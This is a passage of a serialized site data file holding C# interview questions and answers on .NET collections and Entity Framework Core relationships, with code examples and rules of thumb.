contexts.\n",{"id":1990,"difficulty":206,"q":1991,"a":1992},"span-memory","What is `Span\u003CT>` and `Memory\u003CT>` and why do they matter for performance?","`Span\u003CT>` is a **stack-only** struct that represents a contiguous region of memory —\narray, stack memory, or unmanaged memory — without copying it. `Memory\u003CT>` is the\nheap-compatible version (can be stored in fields or used across `await`).\n\n```csharp\nint[] array = { 1, 2, 3, 4, 5, 6, 7, 8 };\n\n\u002F\u002F Span — zero-copy slice of the array:\nSpan\u003Cint> slice = array.AsSpan(2, 4); \u002F\u002F elements 2–5: [3,4,5,6]\nslice[0] = 99; \u002F\u002F modifies the ORIGINAL array!\nConsole.WriteLine(array[2]); \u002F\u002F 99\n\n\u002F\u002F Stack allocation — no heap allocation at all:\nSpan\u003Cbyte> stackBuffer = stackalloc byte[256];\nstackBuffer.Fill(0);\n\n\u002F\u002F String slicing without allocation:\nReadOnlySpan\u003Cchar> str = \"Hello, World!\".AsSpan();\nReadOnlySpan\u003Cchar> greeting = str[..5];             \u002F\u002F \"Hello\" — no allocation\nConsole.WriteLine(greeting.ToString());              \u002F\u002F \"Hello\"\n\n\u002F\u002F Memory\u003CT> — async-compatible (Span cannot cross await boundaries):\nasync Task ProcessAsync(Memory\u003Cbyte> buffer)\n{\n    await stream.ReadAsync(buffer);        \u002F\u002F Memory\u003CT> works across await\n    ReadOnlySpan\u003Cbyte> span = buffer.Span; \u002F\u002F access as Span inside sync code\n    \u002F\u002F do something with span\n}\n\n\u002F\u002F High-performance parsing without allocating substrings:\nReadOnlySpan\u003Cchar> csv = \"Alice,30,London\";\nint comma1 = csv.IndexOf(',');\nReadOnlySpan\u003Cchar> name = csv[..comma1]; \u002F\u002F \"Alice\" — no allocation\n```\n\n**Rule of thumb:** Use `Span\u003CT>` to slice and process buffers without allocation\nin synchronous hot paths. Use `Memory\u003CT>` when you need to store the slice or cross\nan `await`. Prefer `ReadOnlySpan\u003Cchar>` over `string.Substring` for zero-allocation parsing.\n",{"id":1994,"difficulty":104,"q":1995,"a":1996},"queue-stack","What are `Queue\u003CT>` and `Stack\u003CT>` and what are common use cases?","`Queue\u003CT>` implements **FIFO** (first-in, first-out). `Stack\u003CT>` implements **LIFO**\n(last-in, first-out). Both are O(1) for their primary operations.\n\n```csharp\n\u002F\u002F Queue\u003CT> — FIFO:\nvar queue = new Queue\u003Cstring>();\nqueue.Enqueue(\"first\");\nqueue.Enqueue(\"second\");\nqueue.Enqueue(\"third\");\n\nConsole.WriteLine(queue.Peek());    \u002F\u002F \"first\" — peek without removing\nConsole.WriteLine(queue.Dequeue()); \u002F\u002F \"first\" — removes and returns\nConsole.WriteLine(queue.Count);     \u002F\u002F 2\n\n\u002F\u002F Stack\u003CT> — LIFO:\nvar stack = new Stack\u003Cstring>();\nstack.Push(\"bottom\");\nstack.Push(\"middle\");\nstack.Push(\"top\");\n\nConsole.WriteLine(stack.Peek()); \u002F\u002F \"top\" — peek without removing\nConsole.WriteLine(stack.Pop());  \u002F\u002F \"top\" — removes and returns\nConsole.WriteLine(stack.Count);  \u002F\u002F 2\n\n\u002F\u002F Real-world use cases:\n\u002F\u002F Queue: task queues, BFS graph traversal, request buffering\nvar bfsQueue = new Queue\u003CTreeNode>();\nbfsQueue.Enqueue(root);\nwhile (bfsQueue.Count > 0)\n{\n    var node = bfsQueue.Dequeue();\n    foreach (var child in node.Children)\n        bfsQueue.Enqueue(child);\n}\n\n\u002F\u002F Stack: undo history, DFS traversal, expression parsing, call-stack simulation\nvar history = new Stack\u003Cstring>();\nhistory.Push(\"open file\");\nhistory.Push(\"type text\");\nstring undone = history.Pop(); \u002F\u002F \"type text\" — last action undone first\n```\n\n**Rule of thumb:** Use `Queue\u003CT>` for work-item processing where order must be\npreserved (FIFO). Use `Stack\u003CT>` for undo, backtracking, or DFS. Use\n`System.Threading.Channels` or `BlockingCollection\u003CT>` for producer-consumer\nqueues across threads.\n",{"id":1998,"difficulty":96,"q":1999,"a":2000},"sorted-collections","What are `SortedDictionary\u003CK,V>` and `SortedList\u003CK,V>` and how do they differ?","Both maintain keys in sorted order. The difference is their internal data structure:\n`SortedDictionary` uses a red-black tree; `SortedList` uses two parallel arrays.\n\n```csharp\n\u002F\u002F SortedDictionary\u003CK,V> — red-black tree; O(log n) all operations\nvar sd = new SortedDictionary\u003Cstring, int>();\nsd[\"banana\"] = 2;\nsd[\"apple\"]  = 1;\nsd[\"cherry\"] = 3;\nforeach (var kv in sd)\n    Console.Write(kv.Key + \" \"); \u002F\u002F apple banana cherry — sorted!\n\n\u002F\u002F SortedList\u003CK,V> — parallel arrays; O(log n) lookup, O(n) insert\u002Fdelete\nvar sl = new SortedList\u003Cstring, int>();\nsl[\"banana\"] = 2;\nsl[\"apple\"]  = 1;\n\n\u002F\u002F SortedList: supports index-based access to keys and values:\nConsole.WriteLine(sl.Keys[0]);   \u002F\u002F \"apple\"\nConsole.WriteLine(sl.Values[0]); \u002F\u002F 1\n\n\u002F\u002F When to choose which:\n\u002F\u002F SortedDictionary: frequent inserts\u002Fdeletes on a large set\n\u002F\u002F SortedList: mostly reads after initial load; memory-efficient for dense data\n\n\u002F\u002F Custom comparer (e.g., case-insensitive keys):\nvar ci = new SortedDictionary\u003Cstring, int>(StringComparer.OrdinalIgnoreCase);\nci[\"Zebra\"] = 1;\nci[\"apple\"] = 2;\nforeach (var k in ci.Keys) Console.Write(k + \" \"); \u002F\u002F apple Zebra (case-insensitive order)\n```\n\n**Rule of thumb:** Use `SortedDictionary` when you have frequent inserts and deletes\nwith a need for sorted iteration. Use `SortedList` when the data is loaded once and\nread many times — it uses less memory and supports index-based access to keys\u002Fvalues.\n",{"id":2002,"difficulty":96,"q":2003,"a":2004},"collection-interfaces","What are the key collection interfaces (`IEnumerable`, `ICollection`, `IList`) and what does each add?","The collection interfaces form a hierarchy, each adding more capabilities.\n\n```csharp\n\u002F\u002F IEnumerable\u003CT> — only: iterate with foreach\nIEnumerable\u003Cint> en = new[] { 1, 2, 3 };\nforeach (var n in en) Console.Write(n);\n\n\u002F\u002F ICollection\u003CT> — adds: Count, Add, Remove, Contains, Clear\nICollection\u003Cint> col = new List\u003Cint> { 1, 2, 3 };\nConsole.WriteLine(col.Count); \u002F\u002F 3\ncol.Add(4);\ncol.Remove(1);\ncol.Contains(2); \u002F\u002F true\n\n\u002F\u002F IList\u003CT> — adds: indexer [], IndexOf, Insert, RemoveAt\nIList\u003Cint> lst = new List\u003Cint> { 1, 2, 3 };\nConsole.WriteLine(lst[0]); \u002F\u002F 1\nlst.Insert(0, 0);          \u002F\u002F insert at position\nlst.RemoveAt(0);           \u002F\u002F remove by index\n\n\u002F\u002F Read-only counterparts:\n\u002F\u002F IReadOnlyCollection\u003CT> = IEnumerable\u003CT> + Count\n\u002F\u002F IReadOnlyList\u003CT>       = IReadOnlyCollection\u003CT> + indexer\n\u002F\u002F IReadOnlyDictionary\u003CK,V> = read-only key-value lookup\n\n\u002F\u002F Accept the most general interface:\nvoid Print(IEnumerable\u003Cint> items) \u002F\u002F accept anything iterable\n{\n    foreach (var i in items) Console.Write(i);\n}\nPrint(new[] { 1, 2 });       \u002F\u002F array — ok\nPrint(new List\u003Cint> { 1 });  \u002F\u002F list — ok\nPrint(Enumerable.Range(1, 5)); \u002F\u002F lazy sequence — ok\n```\n\n**Rule of thumb:** Accept the *most general* interface your method needs (`IEnumerable\u003CT>`\nfor read-only iteration). Return the *most specific* interface the caller needs\n(`IReadOnlyList\u003CT>` for indexed access, `IReadOnlyCollection\u003CT>` just for counting).\n",{"id":2006,"difficulty":104,"q":2007,"a":2008},"linkedlist","When should you use `LinkedList\u003CT>` instead of `List\u003CT>`?","`LinkedList\u003CT>` is a doubly-linked list. It is O(1) for insert and remove at any\nknown node, but O(n) for index-based access (no indexer). `List\u003CT>` is O(1) for\nindexed access but O(n) for insert\u002Fremove in the middle (shifts elements).\n\n```csharp\nvar linked = new LinkedList\u003Cint>(new[] { 1, 2, 3, 4, 5 });\n\n\u002F\u002F O(1) insert before\u002Fafter a known node:\nLinkedListNode\u003Cint>? node3 = linked.Find(3);\nlinked.AddBefore(node3!, 99); \u002F\u002F [1,2,99,3,4,5]\nlinked.AddAfter(node3!, 88);  \u002F\u002F [1,2,99,3,88,4,5]\n\n\u002F\u002F O(1) add at head\u002Ftail:\nlinked.AddFirst(0);  \u002F\u002F [0,1,2,99,3,88,4,5]\nlinked.AddLast(999); \u002F\u002F [0,1,2,99,3,88,4,5,999]\n\n\u002F\u002F O(1) remove any node if you have the reference:\nlinked.Remove(node3!); \u002F\u002F remove '3' — O(1)\n\n\u002F\u002F No indexer — O(n) to reach element by position:\n\u002F\u002F linked[3] — doesn't exist\nvar val = linked.Skip(3).First(); \u002F\u002F O(n)\n\n\u002F\u002F Real use cases:\n\u002F\u002F - Implement LRU cache (remove from middle + add to end = O(1))\n\u002F\u002F - Undo history where you insert\u002Fremove at specific positions\n\u002F\u002F - Queue\u002FDeque where you add\u002Fremove both ends\n```\n\n`LinkedList\u003CT>` vs `List\u003CT>` summary:\n\n| Operation | List\\\u003CT\\> | LinkedList\\\u003CT\\> |\n|-----------|-----------|-----------------|\n| Index by position | O(1) | O(n) |\n| Insert at known node | O(n) | O(1) |\n| Remove at known node | O(n) | O(1) |\n| Memory | Contiguous (cache-friendly) | Scattered (pointer overhead) |\n\n**Rule of thumb:** Start with `List\u003CT>`. Switch to `LinkedList\u003CT>` only when you\nprofile and confirm that frequent mid-list insertion\u002Fremoval is the bottleneck and\nyou can efficiently maintain `LinkedListNode\u003CT>` references.\n",{"id":2010,"difficulty":96,"q":2011,"a":2012},"collection-performance-tips","What are the key performance considerations when working with .NET collections?","Several common mistakes make collection code slower than it needs to be.\n\n```csharp\n\u002F\u002F 1. Pre-size collections when count is known:\nvar list = new List\u003Cint>(capacity: 10_000); \u002F\u002F avoids 13+ resize+copy cycles\nvar dict = new Dictionary\u003Cstring, int>(capacity: 500);\n\n\u002F\u002F 2. Use TryGetValue instead of ContainsKey + indexer (two lookups vs one):\n\u002F\u002F double lookup:\nif (dict.ContainsKey(\"key\")) { var v = dict[\"key\"]; }\n\u002F\u002F single lookup:\nif (dict.TryGetValue(\"key\", out int val)) { \u002F* use val *\u002F }\n\n\u002F\u002F 3. CollectionsMarshal for zero-copy dict value update (.NET 6+):\nref int count = ref CollectionsMarshal.GetValueRefOrAddDefault(dict, \"hits\", out _);\ncount++;  \u002F\u002F in-place increment — no re-hash, no boxing\n\n\u002F\u002F 4. Prefer Span\u003CT> over LINQ for hot-path slicing:\nint[] data = Enumerable.Range(0, 100_000).ToArray();\n\u002F\u002F LINQ allocates enumerator + closure:\nvar sumLinq = data.Skip(100).Take(900).Sum();\n\u002F\u002F Span — stack-only, no allocation:\nint sumSpan = 0;\nforeach (var n in data.AsSpan(100, 900)) sumSpan += n;\n\n\u002F\u002F 5. For string-keyed dictionaries, use the right comparer:\n\u002F\u002F OrdinalIgnoreCase is faster than CurrentCultureIgnoreCase for most use cases\nvar ci = new Dictionary\u003Cstring, int>(StringComparer.OrdinalIgnoreCase);\n\n\u002F\u002F 6. Avoid List\u003CT> when a fixed array suffices:\nstatic int[] ComputeSquares(int n)\n{\n    var result = new int[n]; \u002F\u002F array — exact size, no overhead\n    for (int i = 0; i \u003C n; i++) result[i] = i * i;\n    return result;\n}\n```\n\n**Rule of thumb:** Pre-size collections, use `TryGetValue` over ContainsKey + indexer,\nprefer `Span\u003CT>` for hot buffer operations, and profile before optimising — most\ncode is not collection-bound.\n",{"id":2014,"difficulty":96,"q":2015,"a":2016},"priority-queue","What is `PriorityQueue\u003CTElement, TPriority>` and when do you use it?","`PriorityQueue\u003CTElement, TPriority>` (.NET 6) is a min-heap where each element\nhas an associated **priority**. `Dequeue` always returns the element with the\n**lowest** priority value. It replaces sorted-list workarounds for scheduling and\ngraph algorithms.\n\n```csharp\n\u002F\u002F Elements are (value, priority) pairs; lowest priority is dequeued first\nvar pq = new PriorityQueue\u003Cstring, int>();\npq.Enqueue(\"low task\",    10);\npq.Enqueue(\"high task\",    1);  \u002F\u002F priority 1 = highest\npq.Enqueue(\"medium task\",  5);\n\nConsole.WriteLine(pq.Dequeue()); \u002F\u002F \"high task\"   (priority 1)\nConsole.WriteLine(pq.Dequeue()); \u002F\u002F \"medium task\" (priority 5)\nConsole.WriteLine(pq.Dequeue()); \u002F\u002F \"low task\"    (priority 10)\n\n\u002F\u002F Peek without removing:\npq.Enqueue(\"urgent\", 0);\npq.TryPeek(out string? element, out int priority);\nConsole.WriteLine($\"{element} at priority {priority}\"); \u002F\u002F urgent at priority 0\n\n\u002F\u002F Dijkstra shortest-path skeleton:\nvar distances = new Dictionary\u003Cstring, int>();\nvar frontier  = new PriorityQueue\u003Cstring, int>();\nfrontier.Enqueue(startNode, 0);\n\nwhile (frontier.Count > 0)\n{\n    var (node, dist) = (frontier.Dequeue(), frontier.TryPeek(out _, out int p) ? p : 0);\n    \u002F\u002F Note: TryDequeue returns element and priority together:\n    \u002F\u002F frontier.TryDequeue(out string node, out int dist)\n    foreach (var (neighbor, weight) in Graph[node])\n    {\n        int newDist = dist + weight;\n        if (!distances.TryGetValue(neighbor, out int old) || newDist \u003C old)\n        {\n            distances[neighbor] = newDist;\n            frontier.Enqueue(neighbor, newDist);\n        }\n    }\n}\n```\n\n**Rule of thumb:** Use `PriorityQueue` for Dijkstra, A*, task schedulers, and any\nscenario where you need the cheapest\u002Fmost-urgent item repeatedly. Remember it is a\n**min-heap** — assign smaller numbers to higher-priority items, or negate the priority\nif you need max-heap behaviour.\n",{"id":2018,"difficulty":206,"q":2019,"a":2020},"frozen-collections","What are `FrozenDictionary\u003CK,V>` and `FrozenSet\u003CT>` (.NET 8) and when do you use them?","`FrozenDictionary\u003CK,V>` and `FrozenSet\u003CT>` (.NET 8) are **read-only, highly optimised**\ncollections built from existing data. They pay a higher one-time construction cost to\nproduce a data structure tuned for the specific key set, then deliver faster lookups than\n`Dictionary` or `HashSet` for read-heavy workloads.\n\n```csharp\n\u002F\u002F Build once at startup — pay construction cost once:\nvar lookup = new Dictionary\u003Cstring, int>\n{\n    [\"apple\"]  = 1,\n    [\"banana\"] = 2,\n    [\"cherry\"] = 3,\n}.ToFrozenDictionary(); \u002F\u002F FrozenDictionary\u003Cstring, int>\n\n\u002F\u002F Lookups are typically faster than Dictionary\u003CK,V> for the same data:\nbool found = lookup.TryGetValue(\"banana\", out int value); \u002F\u002F true, value = 2\nConsole.WriteLine(lookup[\"cherry\"]); \u002F\u002F 3\n\n\u002F\u002F FrozenSet\u003CT> for fast membership tests:\nFrozenSet\u003Cstring> allowedRoles =\n    new HashSet\u003Cstring> { \"Admin\", \"Moderator\", \"Editor\" }\n    .ToFrozenSet(StringComparer.OrdinalIgnoreCase);\n\nConsole.WriteLine(allowedRoles.Contains(\"admin\")); \u002F\u002F true\n\n\u002F\u002F Typical use cases:\n\u002F\u002F - Permission sets loaded at startup and queried per request\n\u002F\u002F - Static lookup tables (HTTP status descriptions, currency codes, config keys)\n\u002F\u002F - Feature flag dictionaries\n\n\u002F\u002F Note: FrozenDictionary is immutable — no Add, Remove, or set-indexer.\n\u002F\u002F Rebuild the frozen collection if the source data changes.\nvar updated = sourceDict\n    .Concat(new[] { KeyValuePair.Create(\"durian\", 4) })\n    .ToFrozenDictionary();\n```\n\n**Rule of thumb:** Use `FrozenDictionary` \u002F `FrozenSet` for lookup tables that are\npopulated once (startup, DI registration, config load) and read millions of times at\nruntime. They beat `Dictionary` on lookup speed at the cost of being immutable and\nslightly slower to construct.\n",{"id":2022,"difficulty":206,"q":2023,"a":2024},"channels","What is `System.Threading.Channels` and when should you use it over `ConcurrentQueue`?","`System.Threading.Channels` provides **async-friendly producer-consumer pipelines**.\nUnlike `ConcurrentQueue\u003CT>` (which requires polling or blocking), channels let\nconsumers `await` new items — no spin-loop, no blocking threads.\n\n```csharp\n\u002F\u002F Unbounded channel — producer never blocks:\nChannel\u003Cint> channel = Channel.CreateUnbounded\u003Cint>();\n\nChannelWriter\u003Cint>  writer = channel.Writer;\nChannelReader\u003Cint>  reader = channel.Reader;\n\n\u002F\u002F Producer — runs on one task:\n_ = Task.Run(async () =>\n{\n    for (int i = 0; i \u003C 10; i++)\n    {\n        await writer.WriteAsync(i);\n        await Task.Delay(50);\n    }\n    writer.Complete(); \u002F\u002F signal no more items\n});\n\n\u002F\u002F Consumer — awaits items as they arrive (no polling):\nawait foreach (int item in reader.ReadAllAsync())\n    Console.WriteLine($\"Received: {item}\");\n\n\u002F\u002F Bounded channel — backpressure: producer is throttled when full\nvar bounded = Channel.CreateBounded\u003Cint>(new BoundedChannelOptions(capacity: 100)\n{\n    FullMode = BoundedChannelFullMode.Wait,        \u002F\u002F await until space is available\n    \u002F\u002F Other modes: DropOldest, DropNewest, DropWrite\n});\n\n\u002F\u002F Multiple producers \u002F consumers are safe — channel is thread-safe:\nvar tasks = Enumerable.Range(0, 4)\n    .Select(id => Task.Run(async () =>\n    {\n        while (await reader.WaitToReadAsync())\n            if (reader.TryRead(out int item))\n                Console.WriteLine($\"Consumer {id}: {item}\");\n    }))\n    .ToArray();\nawait Task.WhenAll(tasks);\n```\n\n**Rule of thumb:** Use `Channel\u003CT>` for async producer-consumer pipelines where\nconsumers should `await` work rather than poll or block. Use a **bounded** channel\nto apply backpressure and prevent producers from overwhelming consumers. Only use\n`ConcurrentQueue\u003CT>` when you already have a polling\u002Fspinning loop or need the\nraw enqueue throughput without async overhead.\n",{"description":94},"C# collections interview questions — List vs Array, Dictionary internals, HashSet, ConcurrentDictionary, Span\u003CT>, and choosing the right type.","dotnet\u002Fcsharp-core\u002Fcollections","NBCvx6xFguCuYh8BzkuMxlSgaP-8BG6a-HKUVQp8Tfk",{"id":2030,"title":2031,"body":2032,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":2036,"navigation":99,"order":47,"path":2037,"questions":2038,"questionsCount":163,"related":164,"seo":2099,"seoDescription":2100,"stem":2101,"subtopic":2031,"topic":55,"topicSlug":57,"updated":168,"__hash__":2102},"qa\u002Fdotnet\u002Fentity-framework\u002Frelationships.md","Relationships",{"type":91,"value":2033,"toc":2034},[],{"title":94,"searchDepth":29,"depth":29,"links":2035},[],{},"\u002Fdotnet\u002Fentity-framework\u002Frelationships",[2039,2043,2047,2051,2055,2059,2063,2067,2071,2075,2079,2083,2087,2091,2095],{"id":2040,"difficulty":104,"q":2041,"a":2042},"ef-one-to-many","How do you configure a one-to-many relationship in EF Core?","A **one-to-many** relationship has one principal entity linked to many dependent\nentities. EF Core can infer it from navigation properties and FK naming conventions,\nor you can configure it explicitly with Fluent API.\n\n```csharp\n\u002F\u002F Domain model:\npublic class Customer\n{\n    public int Id { get; set; }\n    public string Name { get; set; } = \"\";\n    public ICollection\u003COrder> Orders { get; set; } = new List\u003COrder>(); \u002F\u002F navigation\n}\n\npublic class Order\n{\n    public int Id { get; set; }\n    public int CustomerId { get; set; }     \u002F\u002F FK property (conventional name → inferred)\n    public Customer Customer { get; set; } = null!; \u002F\u002F reference navigation\n    public decimal Total { get; set; }\n}\n\n\u002F\u002F EF Core convention: Finds CustomerId FK automatically — no Fluent API needed.\n\n\u002F\u002F Explicit Fluent API (preferred for clarity and complex cases):\npublic class OrderConfiguration : IEntityTypeConfiguration\u003COrder>\n{\n    public void Configure(EntityTypeBuilder\u003COrder> b)\n    {\n        b.HasOne(o => o.Customer)           \u002F\u002F Order has one Customer\n         .WithMany(c => c.Orders)           \u002F\u002F Customer has many Orders\n         .HasForeignKey(o => o.CustomerId)  \u002F\u002F FK column\n         .IsRequired()                      \u002F\u002F NOT NULL in DB\n         .OnDelete(DeleteBehavior.Restrict); \u002F\u002F don't cascade\n    }\n}\n\n\u002F\u002F Querying:\nvar customerWithOrders = await _db.Customers\n    .Include(c => c.Orders)\n    .FirstOrDefaultAsync(c => c.Id == 1);\n```\n\n**Rule of thumb:** Declare both the FK property (`CustomerId`) and the navigation\n(`Customer`) on the dependent. Explicit Fluent API beats convention for any non-trivial\nrelationship — clarity is worth the extra lines.\n",{"id":2044,"difficulty":96,"q":2045,"a":2046},"ef-many-to-many","How has many-to-many relationship configuration changed between EF Core 3 and EF Core 5+?","EF Core 5+ supports **implicit many-to-many** — no join entity class required.\nEF Core 3 required an explicit join table entity with two one-to-many relationships.\n\n```csharp\n\u002F\u002F EF Core 5+ — implicit many-to-many (no join entity):\npublic class Post\n{\n    public int Id { get; set; }\n    public ICollection\u003CTag> Tags { get; set; } = new List\u003CTag>(); \u002F\u002F navigation\n}\n\npublic class Tag\n{\n    public int Id { get; set; }\n    public string Name { get; set; } = \"\";\n    public ICollection\u003CPost> Posts { get; set; } = new List\u003CPost>(); \u002F\u002F navigation\n}\n\n\u002F\u002F EF Core infers a join table \"PostTag\" (PostsId, TagsId) automatically.\n\u002F\u002F Fluent API to customise the join table name and columns:\nmodelBuilder.Entity\u003CPost>()\n    .HasMany(p => p.Tags)\n    .WithMany(t => t.Posts)\n    .UsingEntity(j => j.ToTable(\"PostTags\")); \u002F\u002F rename join table\n\n\u002F\u002F Explicit join entity (required when join has extra payload columns):\npublic class PostTag\n{\n    public int PostId { get; set; }\n    public int TagId  { get; set; }\n    public DateTime TaggedAt { get; set; } \u002F\u002F extra column on the join\n    public Post Post { get; set; } = null!;\n    public Tag  Tag  { get; set; } = null!;\n}\n\nmodelBuilder.Entity\u003CPostTag>()\n    .HasKey(pt => new { pt.PostId, pt.TagId }); \u002F\u002F composite PK\n\nmodelBuilder.Entity\u003CPostTag>()\n    .HasOne(pt => pt.Post).WithMany(p => p.PostTags).HasForeignKey(pt => pt.PostId);\n\nmodelBuilder.Entity\u003CPostTag>()\n    .HasOne(pt => pt.Tag).WithMany(t => t.PostTags).HasForeignKey(pt => pt.TagId);\n```\n\n**Rule of thumb:** Use implicit many-to-many (EF Core 5+) when the join has no extra\ncolumns. Use an explicit join entity as soon as you need additional payload on the join\n(timestamps, flags, ordering).\n",{"id":2048,"difficulty":96,"q":2049,"a":2050},"ef-one-to-one","How do you configure a one-to-one relationship in EF Core?","A **one-to-one** relationship links exactly one principal to at most one dependent.\nEF Core requires you to specify which end holds the FK because it can't infer it\nwhen both navigations are present.\n\n```csharp\n\u002F\u002F Domain model:\npublic class User\n{\n    public int Id { get; set; }\n    public string Email { get; set; } = \"\";\n    public UserProfile? Profile { get; set; } \u002F\u002F optional navigation to dependent\n}\n\npublic class UserProfile\n{\n    public int Id { get; set; }\n    public int UserId { get; set; }              \u002F\u002F FK lives on the dependent\n    public User User { get; set; } = null!;\n    public string Bio { get; set; } = \"\";\n}\n\n\u002F\u002F Fluent API — must declare which side has the FK:\npublic class UserProfileConfiguration : IEntityTypeConfiguration\u003CUserProfile>\n{\n    public void Configure(EntityTypeBuilder\u003CUserProfile> b)\n    {\n        b.HasOne(p => p.User)           \u002F\u002F UserProfile has one User\n         .WithOne(u => u.Profile)       \u002F\u002F User has one Profile\n         .HasForeignKey\u003CUserProfile>(p => p.UserId) \u002F\u002F FK on dependent side\n         .IsRequired()\n         .OnDelete(DeleteBehavior.Cascade); \u002F\u002F delete profile when user deleted\n\n        b.HasIndex(p => p.UserId).IsUnique(); \u002F\u002F enforce one-to-one at DB level\n    }\n}\n\n\u002F\u002F Querying:\nvar user = await _db.Users\n    .Include(u => u.Profile)\n    .FirstOrDefaultAsync(u => u.Id == userId);\n```\n\n**Rule of thumb:** Always place the FK on the dependent (the entity that can't exist\nwithout the other). Add a unique index on the FK column in the database — EF doesn't\nadd it automatically for one-to-one.\n",{"id":2052,"difficulty":104,"q":2053,"a":2054},"ef-navigation-properties","What are navigation properties in EF Core and what are the different types?","**Navigation properties** are class members that reference related entity objects.\nEF Core uses them to build SQL JOINs and maintain the object graph.\n\n```csharp\npublic class Order\n{\n    public int Id { get; set; }\n    public int CustomerId { get; set; }\n\n    \u002F\u002F Reference navigation — points to a single related entity:\n    public Customer Customer { get; set; } = null!;\n\n    \u002F\u002F Collection navigation — points to multiple related entities:\n    public ICollection\u003COrderItem> Items { get; set; } = new List\u003COrderItem>();\n}\n\npublic class OrderItem\n{\n    public int Id { get; set; }\n    public int OrderId { get; set; }\n    public int ProductId { get; set; }\n\n    \u002F\u002F Inverse reference navigation (back to the principal):\n    public Order Order { get; set; } = null!;\n\n    \u002F\u002F Second reference navigation:\n    public Product Product { get; set; } = null!;\n    public int Quantity { get; set; }\n}\n\n\u002F\u002F Always initialise collection navigations to avoid null checks:\npublic ICollection\u003COrderItem> Items { get; set; } = new List\u003COrderItem>();\n\u002F\u002F Or in constructor: Items = new HashSet\u003COrderItem>();\n\n\u002F\u002F Reference navigations should be nullable (not always loaded):\npublic Customer? Customer { get; set; }\n\n\u002F\u002F Check if a navigation is loaded:\nbool isLoaded = _db.Entry(order).Reference(o => o.Customer).IsLoaded;\nbool collLoaded = _db.Entry(order).Collection(o => o.Items).IsLoaded;\n\n\u002F\u002F Explicitly load a navigation on demand:\nawait _db.Entry(order).Reference(o => o.Customer).LoadAsync();\nawait _db.Entry(order).Collection(o => o.Items).LoadAsync();\n```\n\n**Rule of thumb:** Initialise collection navigations to empty collections\n(`new List\u003CT>()`) to prevent `NullReferenceException`. Make reference navigations\nnullable to signal they might not be loaded.\n",{"id":2056,"difficulty":96,"q":2057,"a":2058},"ef-cascade-delete","What is cascade delete in EF Core and what are the DeleteBehavior options?","**Cascade delete** automatically deletes dependent rows when the principal is deleted.\nEF Core exposes four `DeleteBehavior` options with different safety profiles.\n\n```csharp\n\u002F\u002F DeleteBehavior options:\n\u002F\u002F Cascade    — DB deletes dependents automatically (or EF tracks and deletes them)\n\u002F\u002F Restrict   — throws if dependents exist — safest for accidental deletes\n\u002F\u002F SetNull    — sets the FK to NULL on dependents (FK must be nullable)\n\u002F\u002F NoAction   — no action on DB delete; the application must manage orphans\n\npublic class OrderConfiguration : IEntityTypeConfiguration\u003COrder>\n{\n    public void Configure(EntityTypeBuilder\u003COrder> b)\n    {\n        \u002F\u002F Cascade — deleting Customer deletes all their Orders:\n        b.HasOne(o => o.Customer)\n         .WithMany(c => c.Orders)\n         .HasForeignKey(o => o.CustomerId)\n         .OnDelete(DeleteBehavior.Cascade);\n\n        \u002F\u002F Restrict — can't delete a Customer with existing Orders:\n        b.HasOne(o => o.Customer)\n         .WithMany(c => c.Orders)\n         .HasForeignKey(o => o.CustomerId)\n         .OnDelete(DeleteBehavior.Restrict);\n\n        \u002F\u002F SetNull — deleting Supplier sets Order.SupplierId to NULL:\n        b.HasOne(o => o.Supplier)\n         .WithMany(s => s.Orders)\n         .HasForeignKey(o => o.SupplierId)   \u002F\u002F SupplierId is int? (nullable)\n         .OnDelete(DeleteBehavior.SetNull);\n    }\n}\n\n\u002F\u002F EF Core's default: Cascade for required relationships, SetNull for optional.\n\u002F\u002F SQL Server default: NO ACTION (needs EF to cascade explicitly).\n\n\u002F\u002F Soft delete avoids all cascade concerns:\norder.IsDeleted = true;\nawait _db.SaveChangesAsync(); \u002F\u002F no FK violations\n```\n\n**Rule of thumb:** Prefer `Restrict` for business-critical data (orders, invoices)\nto prevent accidental mass deletes. Use `Cascade` only for true parent-child where\nthe child has no meaning without the parent (e.g., order → order items).\n",{"id":2060,"difficulty":96,"q":2061,"a":2062},"ef-owned-entities","What are owned entity types in EF Core and when should you use them?","**Owned entities** are value-object-like types that belong exclusively to one owner\nentity. They share the owner's table by default (no separate `Id` column) and have\nno independent lifecycle.\n\n```csharp\n\u002F\u002F Domain model — Address is a value object:\npublic class Address\n{\n    public string Street { get; set; } = \"\";\n    public string City   { get; set; } = \"\";\n    public string Zip    { get; set; } = \"\";\n    \u002F\u002F No Id — Address is owned by Customer\n}\n\npublic class Customer\n{\n    public int Id { get; set; }\n    public string Name { get; set; } = \"\";\n    public Address ShippingAddress { get; set; } = new();\n    public Address BillingAddress  { get; set; } = new();\n}\n\n\u002F\u002F Configuration:\nmodelBuilder.Entity\u003CCustomer>()\n    .OwnsOne(c => c.ShippingAddress, addr =>\n    {\n        addr.Property(a => a.Street).HasColumnName(\"Ship_Street\").HasMaxLength(100);\n        addr.Property(a => a.City).HasColumnName(\"Ship_City\");\n        addr.Property(a => a.Zip).HasColumnName(\"Ship_Zip\");\n    });\n\nmodelBuilder.Entity\u003CCustomer>()\n    .OwnsOne(c => c.BillingAddress, addr =>\n    {\n        addr.Property(a => a.Street).HasColumnName(\"Bill_Street\");\n        \u002F\u002F ...\n    });\n\u002F\u002F Schema: Customers table contains Ship_Street, Ship_City, ... Bill_Street, etc.\n\n\u002F\u002F Store as JSON column (EF Core 7+):\nmodelBuilder.Entity\u003CCustomer>()\n    .OwnsOne(c => c.ShippingAddress, addr => addr.ToJson());\n\u002F\u002F Customers.ShippingAddress JSON column: {\"Street\":\"...\",\"City\":\"...\",\"Zip\":\"...\"}\n```\n\n**Rule of thumb:** Use `OwnsOne` \u002F `OwnsMany` for value objects that belong to one\nentity and have no independent identity. This maps cleanly to DDD value objects and\nkeeps the schema tidy.\n",{"id":2064,"difficulty":96,"q":2065,"a":2066},"ef-self-referencing","How do you configure a self-referencing (hierarchical) relationship in EF Core?","A **self-referencing relationship** points from an entity back to itself — used for\ntrees and hierarchies (categories, organisational charts, comments with replies).\n\n```csharp\n\u002F\u002F Category tree — each category optionally has a parent:\npublic class Category\n{\n    public int Id { get; set; }\n    public string Name { get; set; } = \"\";\n    public int? ParentId { get; set; }                \u002F\u002F nullable FK — root has no parent\n    public Category? Parent { get; set; }             \u002F\u002F reference navigation (up)\n    public ICollection\u003CCategory> Children { get; set; } = new List\u003CCategory>(); \u002F\u002F down\n}\n\n\u002F\u002F Configuration — works by convention, but explicit is clearer:\nmodelBuilder.Entity\u003CCategory>()\n    .HasOne(c => 